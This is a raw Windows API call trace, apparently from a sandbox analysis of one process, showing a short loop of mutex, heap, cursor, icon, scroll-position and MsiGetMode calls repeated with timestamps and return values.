	[0094.243] ReleaseMutex (hMutex=0x360) returned 1
	[0094.243] CloseHandle (hObject=0x360) returned 1
	[0094.243] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=68192522, bRedraw=1) returned 0
	[0094.243] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.243] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.243] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.243] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.243] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.243] GetCurrentProcessId () returned 0xb50
	[0094.243] GetLastError () returned 0x578
	[0094.243] GetLastError () returned 0x578
	[0094.243] GetLastError () returned 0x0
	[0094.243] ReleaseMutex (hMutex=0x360) returned 1
	[0094.243] CloseHandle (hObject=0x360) returned 1
	[0094.244] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1110848696, bRedraw=1) returned 0
	[0094.244] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.244] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.244] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.244] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.244] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.244] GetCurrentProcessId () returned 0xb50
	[0094.244] GetLastError () returned 0x578
	[0094.244] GetLastError () returned 0x578
	[0094.244] GetLastError () returned 0x0
	[0094.244] ReleaseMutex (hMutex=0x360) returned 1
	[0094.244] CloseHandle (hObject=0x360) returned 1
	[0094.244] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-2131832474, bRedraw=1) returned 0
	[0094.244] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.244] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.244] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.244] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.244] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.244] GetCurrentProcessId () returned 0xb50
	[0094.244] GetLastError () returned 0x578
	[0094.244] GetLastError () returned 0x578
	[0094.245] GetLastError () returned 0x0
	[0094.245] ReleaseMutex (hMutex=0x360) returned 1
	[0094.245] CloseHandle (hObject=0x360) returned 1
	[0094.245] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1069916396, bRedraw=1) returned 0
	[0094.245] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.245] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.245] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.245] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.245] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.245] GetCurrentProcessId () returned 0xb50
	[0094.245] GetLastError () returned 0x578
	[0094.245] GetLastError () returned 0x578
	[0094.245] GetLastError () returned 0x0
	[0094.245] ReleaseMutex (hMutex=0x360) returned 1
	[0094.245] CloseHandle (hObject=0x360) returned 1
	[0094.245] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1629634, bRedraw=1) returned 0
	[0094.245] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.245] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.245] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.245] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.245] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.246] GetCurrentProcessId () returned 0xb50
	[0094.246] GetLastError () returned 0x578
	[0094.246] GetLastError () returned 0x578
	[0094.246] GetLastError () returned 0x0
	[0094.246] ReleaseMutex (hMutex=0x360) returned 1
	[0094.246] CloseHandle (hObject=0x360) returned 1
	[0094.246] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1082805616, bRedraw=1) returned 0
	[0094.246] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.246] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.246] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.246] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.246] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.246] GetCurrentProcessId () returned 0xb50
	[0094.246] GetLastError () returned 0x578
	[0094.246] GetLastError () returned 0x578
	[0094.246] GetLastError () returned 0x0
	[0094.246] ReleaseMutex (hMutex=0x360) returned 1
	[0094.246] CloseHandle (hObject=0x360) returned 1
	[0094.246] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-2121355746, bRedraw=1) returned 0
	[0094.246] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.246] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.247] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.247] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.247] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.247] GetCurrentProcessId () returned 0xb50
	[0094.247] GetLastError () returned 0x578
	[0094.247] GetLastError () returned 0x578
	[0094.247] GetLastError () returned 0x0
	[0094.247] ReleaseMutex (hMutex=0x360) returned 1
	[0094.247] CloseHandle (hObject=0x360) returned 1
	[0094.247] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1020919860, bRedraw=1) returned 0
	[0094.247] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.247] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.247] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.247] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.247] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.247] GetCurrentProcessId () returned 0xb50
	[0094.247] GetLastError () returned 0x578
	[0094.247] GetLastError () returned 0x578
	[0094.247] GetLastError () returned 0x0
	[0094.247] ReleaseMutex (hMutex=0x360) returned 1
	[0094.247] CloseHandle (hObject=0x360) returned 1
	[0094.247] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=89145978, bRedraw=1) returned 0
	[0094.248] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.248] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.248] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.248] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.248] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.248] GetCurrentProcessId () returned 0xb50
	[0094.248] GetLastError () returned 0x578
	[0094.248] GetLastError () returned 0x578
	[0094.248] GetLastError () returned 0x0
	[0094.248] ReleaseMutex (hMutex=0x360) returned 1
	[0094.248] CloseHandle (hObject=0x360) returned 1
	[0094.248] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1208841768, bRedraw=1) returned 0
	[0094.248] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.248] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.248] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.248] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.248] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.248] GetCurrentProcessId () returned 0xb50
	[0094.248] GetLastError () returned 0x578
	[0094.248] GetLastError () returned 0x578
	[0094.249] GetLastError () returned 0x0
	[0094.249] ReleaseMutex (hMutex=0x360) returned 1
	[0094.249] CloseHandle (hObject=0x360) returned 1
	[0094.249] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1956799786, bRedraw=1) returned 0
	[0094.249] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.249] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.249] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.249] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.249] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.249] GetCurrentProcessId () returned 0xb50
	[0094.249] GetLastError () returned 0x578
	[0094.249] GetLastError () returned 0x578
	[0094.249] GetLastError () returned 0x0
	[0094.249] ReleaseMutex (hMutex=0x360) returned 1
	[0094.249] CloseHandle (hObject=0x360) returned 1
	[0094.249] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-817844092, bRedraw=1) returned 0
	[0094.249] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.249] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.249] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.249] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.249] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.249] GetCurrentProcessId () returned 0xb50
	[0094.250] GetLastError () returned 0x578
	[0094.250] GetLastError () returned 0x578
	[0094.250] GetLastError () returned 0x0
	[0094.250] ReleaseMutex (hMutex=0x360) returned 1
	[0094.250] CloseHandle (hObject=0x360) returned 1
	[0094.250] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=330741554, bRedraw=1) returned 0
	[0094.250] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.250] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.250] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.250] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.250] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.250] GetCurrentProcessId () returned 0xb50
	[0094.250] GetLastError () returned 0x578
	[0094.250] GetLastError () returned 0x578
	[0094.250] GetLastError () returned 0x0
	[0094.250] ReleaseMutex (hMutex=0x360) returned 1
	[0094.250] CloseHandle (hObject=0x360) returned 1
	[0094.250] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1488957152, bRedraw=1) returned 0
	[0094.250] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.250] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.251] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.251] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.251] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.251] GetCurrentProcessId () returned 0xb50
	[0094.251] GetLastError () returned 0x578
	[0094.251] GetLastError () returned 0x578
	[0094.251] GetLastError () returned 0x0
	[0094.251] ReleaseMutex (hMutex=0x360) returned 1
	[0094.251] CloseHandle (hObject=0x360) returned 1
	[0094.251] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1638164594, bRedraw=1) returned 0
	[0094.251] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.251] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.251] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.251] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.251] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.251] GetCurrentProcessId () returned 0xb50
	[0094.251] GetLastError () returned 0x578
	[0094.251] GetLastError () returned 0x578
	[0094.251] GetLastError () returned 0x0
	[0094.251] ReleaseMutex (hMutex=0x360) returned 1
	[0094.251] CloseHandle (hObject=0x360) returned 1
	[0094.251] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-460689092, bRedraw=1) returned 0
	[0094.252] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.252] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.252] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.252] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.252] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.252] GetCurrentProcessId () returned 0xb50
	[0094.439] GetLastError () returned 0x578
	[0094.439] GetLastError () returned 0x578
	[0094.440] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.440] GetLastError () returned 0x0
	[0094.440] ReleaseMutex (hMutex=0x360) returned 1
	[0094.440] CloseHandle (hObject=0x360) returned 1
	[0094.441] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=726416362, bRedraw=1) returned 0
	[0094.441] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.441] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.441] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.441] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.441] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.441] GetCurrentProcessId () returned 0xb50
	[0094.441] GetLastError () returned 0x578
	[0094.441] GetLastError () returned 0x578
	[0094.441] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.441] GetLastError () returned 0x0
	[0094.441] ReleaseMutex (hMutex=0x360) returned 1
	[0094.441] CloseHandle (hObject=0x360) returned 1
	[0094.441] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1923151768, bRedraw=1) returned 0
	[0094.441] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.441] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.441] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.441] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.442] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.442] GetCurrentProcessId () returned 0xb50
	[0094.442] GetLastError () returned 0x578
	[0094.442] GetLastError () returned 0x578
	[0094.442] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.442] GetLastError () returned 0x0
	[0094.442] ReleaseMutex (hMutex=0x360) returned 1
	[0094.442] CloseHandle (hObject=0x360) returned 1
	[0094.442] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1165450170, bRedraw=1) returned 0
	[0094.442] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.442] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.442] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.442] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.442] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.442] GetCurrentProcessId () returned 0xb50
	[0094.442] GetLastError () returned 0x578
	[0094.442] GetLastError () returned 0x578
	[0094.442] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.442] GetLastError () returned 0x0
	[0094.442] ReleaseMutex (hMutex=0x360) returned 1
	[0094.442] CloseHandle (hObject=0x360) returned 1
	[0094.442] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=50545140, bRedraw=1) returned 0
	[0094.443] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.443] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.443] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.443] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.443] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.443] GetCurrentProcessId () returned 0xb50
	[0094.443] GetLastError () returned 0x578
	[0094.443] GetLastError () returned 0x578
	[0094.443] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.443] GetLastError () returned 0x0
	[0094.443] ReleaseMutex (hMutex=0x360) returned 1
	[0094.443] CloseHandle (hObject=0x360) returned 1
	[0094.443] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1276170402, bRedraw=1) returned 0
	[0094.443] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.443] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.443] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.443] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.443] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.443] GetCurrentProcessId () returned 0xb50
	[0094.443] GetLastError () returned 0x578
	[0094.443] GetLastError () returned 0x578
	[0094.443] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.444] GetLastError () returned 0x0
	[0094.444] ReleaseMutex (hMutex=0x360) returned 1
	[0094.444] CloseHandle (hObject=0x360) returned 1
	[0094.444] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1783541680, bRedraw=1) returned 0
	[0094.444] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.444] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.444] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.444] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.444] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.444] GetCurrentProcessId () returned 0xb50
	[0094.444] GetLastError () returned 0x578
	[0094.444] GetLastError () returned 0x578
	[0094.444] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.444] GetLastError () returned 0x0
	[0094.444] ReleaseMutex (hMutex=0x360) returned 1
	[0094.444] CloseHandle (hObject=0x360) returned 1
	[0094.444] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-538656514, bRedraw=1) returned 0
	[0094.444] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.444] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.444] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.444] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.445] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.445] GetCurrentProcessId () returned 0xb50
	[0094.445] GetLastError () returned 0x578
	[0094.445] GetLastError () returned 0x578
	[0094.445] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.445] GetLastError () returned 0x0
	[0094.445] ReleaseMutex (hMutex=0x360) returned 1
	[0094.445] CloseHandle (hObject=0x360) returned 1
	[0094.445] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=715858604, bRedraw=1) returned 0
	[0094.445] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.445] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.445] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.445] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.445] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.445] GetCurrentProcessId () returned 0xb50
	[0094.445] GetLastError () returned 0x578
	[0094.445] GetLastError () returned 0x578
	[0094.445] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.445] GetLastError () returned 0x0
	[0094.445] ReleaseMutex (hMutex=0x360) returned 1
	[0094.445] CloseHandle (hObject=0x360) returned 1
	[0094.445] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1980003674, bRedraw=1) returned 0
	[0094.446] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.446] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.446] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.446] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.446] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.446] GetCurrentProcessId () returned 0xb50
	[0094.446] GetLastError () returned 0x578
	[0094.446] GetLastError () returned 0x578
	[0094.446] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.446] GetLastError () returned 0x0
	[0094.446] ReleaseMutex (hMutex=0x360) returned 1
	[0094.446] CloseHandle (hObject=0x360) returned 1
	[0094.446] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1041188600, bRedraw=1) returned 0
	[0094.446] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.446] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.446] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.446] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.446] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.446] GetCurrentProcessId () returned 0xb50
	[0094.446] GetLastError () returned 0x578
	[0094.446] GetLastError () returned 0x578
	[0094.447] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.447] GetLastError () returned 0x0
	[0094.447] ReleaseMutex (hMutex=0x360) returned 1
	[0094.447] CloseHandle (hObject=0x360) returned 1
	[0094.447] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=242216374, bRedraw=1) returned 0
	[0094.447] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.447] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.447] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.447] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.447] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.447] GetCurrentProcessId () returned 0xb50
	[0094.447] GetLastError () returned 0x578
	[0094.447] GetLastError () returned 0x578
	[0094.447] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.447] GetLastError () returned 0x0
	[0094.447] ReleaseMutex (hMutex=0x360) returned 1
	[0094.447] CloseHandle (hObject=0x360) returned 1
	[0094.447] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1535251300, bRedraw=1) returned 0
	[0094.447] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.447] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.447] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.448] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.448] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.448] GetCurrentProcessId () returned 0xb50
	[0094.448] GetLastError () returned 0x578
	[0094.448] GetLastError () returned 0x578
	[0094.448] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.448] GetLastError () returned 0x0
	[0094.448] ReleaseMutex (hMutex=0x360) returned 1
	[0094.448] CloseHandle (hObject=0x360) returned 1
	[0094.448] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1457051118, bRedraw=1) returned 0
	[0094.448] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.448] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.448] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.448] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.448] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.448] GetCurrentProcessId () returned 0xb50
	[0094.448] GetLastError () returned 0x578
	[0094.448] GetLastError () returned 0x578
	[0094.448] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.448] GetLastError () returned 0x0
	[0094.448] ReleaseMutex (hMutex=0x360) returned 1
	[0094.448] CloseHandle (hObject=0x360) returned 1
	[0094.448] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-144756288, bRedraw=1) returned 0
	[0094.449] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.449] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.449] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.449] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.449] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.449] GetCurrentProcessId () returned 0xb50
	[0094.449] GetLastError () returned 0x578
	[0094.449] GetLastError () returned 0x578
	[0094.449] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.449] GetLastError () returned 0x0
	[0094.449] ReleaseMutex (hMutex=0x360) returned 1
	[0094.449] CloseHandle (hObject=0x360) returned 1
	[0094.449] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1177168494, bRedraw=1) returned 0
	[0094.449] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0094.449] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0094.449] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0094.449] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0094.449] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0094.449] GetCurrentProcessId () returned 0xb50
	[0094.449] GetLastError () returned 0x578
	[0094.449] GetLastError () returned 0x578
	[0094.450] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="pid=2896") returned 0x360
	[0094.450] GetLastError () returned 0x0
	[0094.450] ReleaseMutex (hMutex=0x360) returned 1
	[0094.450] CloseHandle (hObject=0x360) returned 1
